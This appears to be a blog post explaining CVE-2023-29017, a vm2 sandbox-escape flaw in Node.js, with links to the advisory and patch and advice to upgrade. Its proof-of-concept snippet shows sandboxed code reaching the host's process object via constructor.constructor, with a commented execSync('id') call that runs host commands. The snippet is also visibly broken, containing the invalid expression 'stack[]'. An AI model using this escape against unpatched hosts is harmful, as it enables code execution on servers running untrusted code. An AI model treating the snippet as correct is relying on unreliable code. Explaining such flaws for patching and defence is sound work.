If you’re running or developing JavaScript applications that use the vm2 sandbox, you need to know about CVE-2023-29017. This serious vulnerability allowed attackers to break out of the sandbox and gain full remote code execution (RCE) on the host running vm2.

In this long-read post, I’ll walk you through what happened, how the vulnerability worked (with a simple exploit example), and where you can find more information. I’ll keep the language clear and direct—nothing hidden!

What Is vm2?

vm2 is a popular Node.js module that lets you run untrusted code safely. It’s widely used in online code runners, plugins, and anywhere you want to give users the ability to run JavaScript—without risking your server.

Vm2 provides a sandbox, restricting access to Node.js built-ins or host resources unless explicitly allowed. It’s like a box: code inside the box shouldn’t be able to mess with code outside.

Trigger: Passing host objects to Error.prepareStackTrace during handling of async errors

In short: A hacker could craft code that causes the sandbox to “leak” an object from the host environment into untrusted code by abusing Error.prepareStackTrace in certain async error scenarios. This bug busted open the sandbox, allowing execution of arbitrary code on the host.

The Technical Heart: How the Bug Worked

When an async error escapes or remains unhandled, Node.js will generate a stack trace. Internally, it uses a function called Error.prepareStackTrace, which can be customized by user code.

vm2 should always “sanitize” what kinds of objects get passed from the outside host into sandboxed code. However, in this case, when an error was thrown asynchronously, certain host-side objects could sneak past vm2’s checks—especially via Error.prepareStackTrace.

Once a host object is inside the sandbox, an attacker can “climb” up prototypes or use properties like constructor.constructor to reach the Function constructor, which ultimately lets them run any code on the server.

Example Exploit (Proof of Concept)

Below is a simple code snippet (flattened for clarity) that shows how someone could exploit this vuln—for educational purposes only:

const {VM} = require('vm2');

const code = `
  process.nextTick(() => {
    throw new Error('vm2 bug!');
  });

  Error.prepareStackTrace = (err, stack) => {
    // 'stack' may contain host objects!
    let dangerous = stack[].constructor.constructor('return process')();
    dangerous.exit(); // or dangerous.mainModule.require('child_process').execSync('id');
    return '';
  };
`;

const vm = new VM();
try {
  vm.run(code);
} catch (e) {
  console.error(e);
}

It triggers an error asynchronously (process.nextTick).

- vm2 fails to filter out/convert some host objects given to prepareStackTrace.
- The exploit accesses unsafe constructors ultimately leading to process, or other dangerous Node.js APIs.

Remote Code Execution achieved.

Note: as of vm2 v3.9.15, this exploit does _not_ work. If you run an older version, update now!

Official Advisory:

- GHSA-5v2h-r2cx-8gjp

NVD Vulnerability Page:

- CVE-2023-29017

Commit Patch:

- Github Patch for vm2 v3.9.15

About Error.prepareStackTrace:

- Node.js Docs

Conclusion

CVE-2023-29017 is a sharp reminder: even heavily-audited sandboxes can have subtle flaws. If you trust vm2 to isolate code, make sure you’re running the latest version. As always, pay extra attention to oddities with objects, constructors, or stack trace handling in JavaScript—they’re ripe for these kinds of breakouts.

For further reading, check out the links above or follow the official vm2 repository for updates.

Timeline

Published on: 04/06/2023 20:15:00 UTC
Last modified on: 04/13/2023 13:20:00 UTC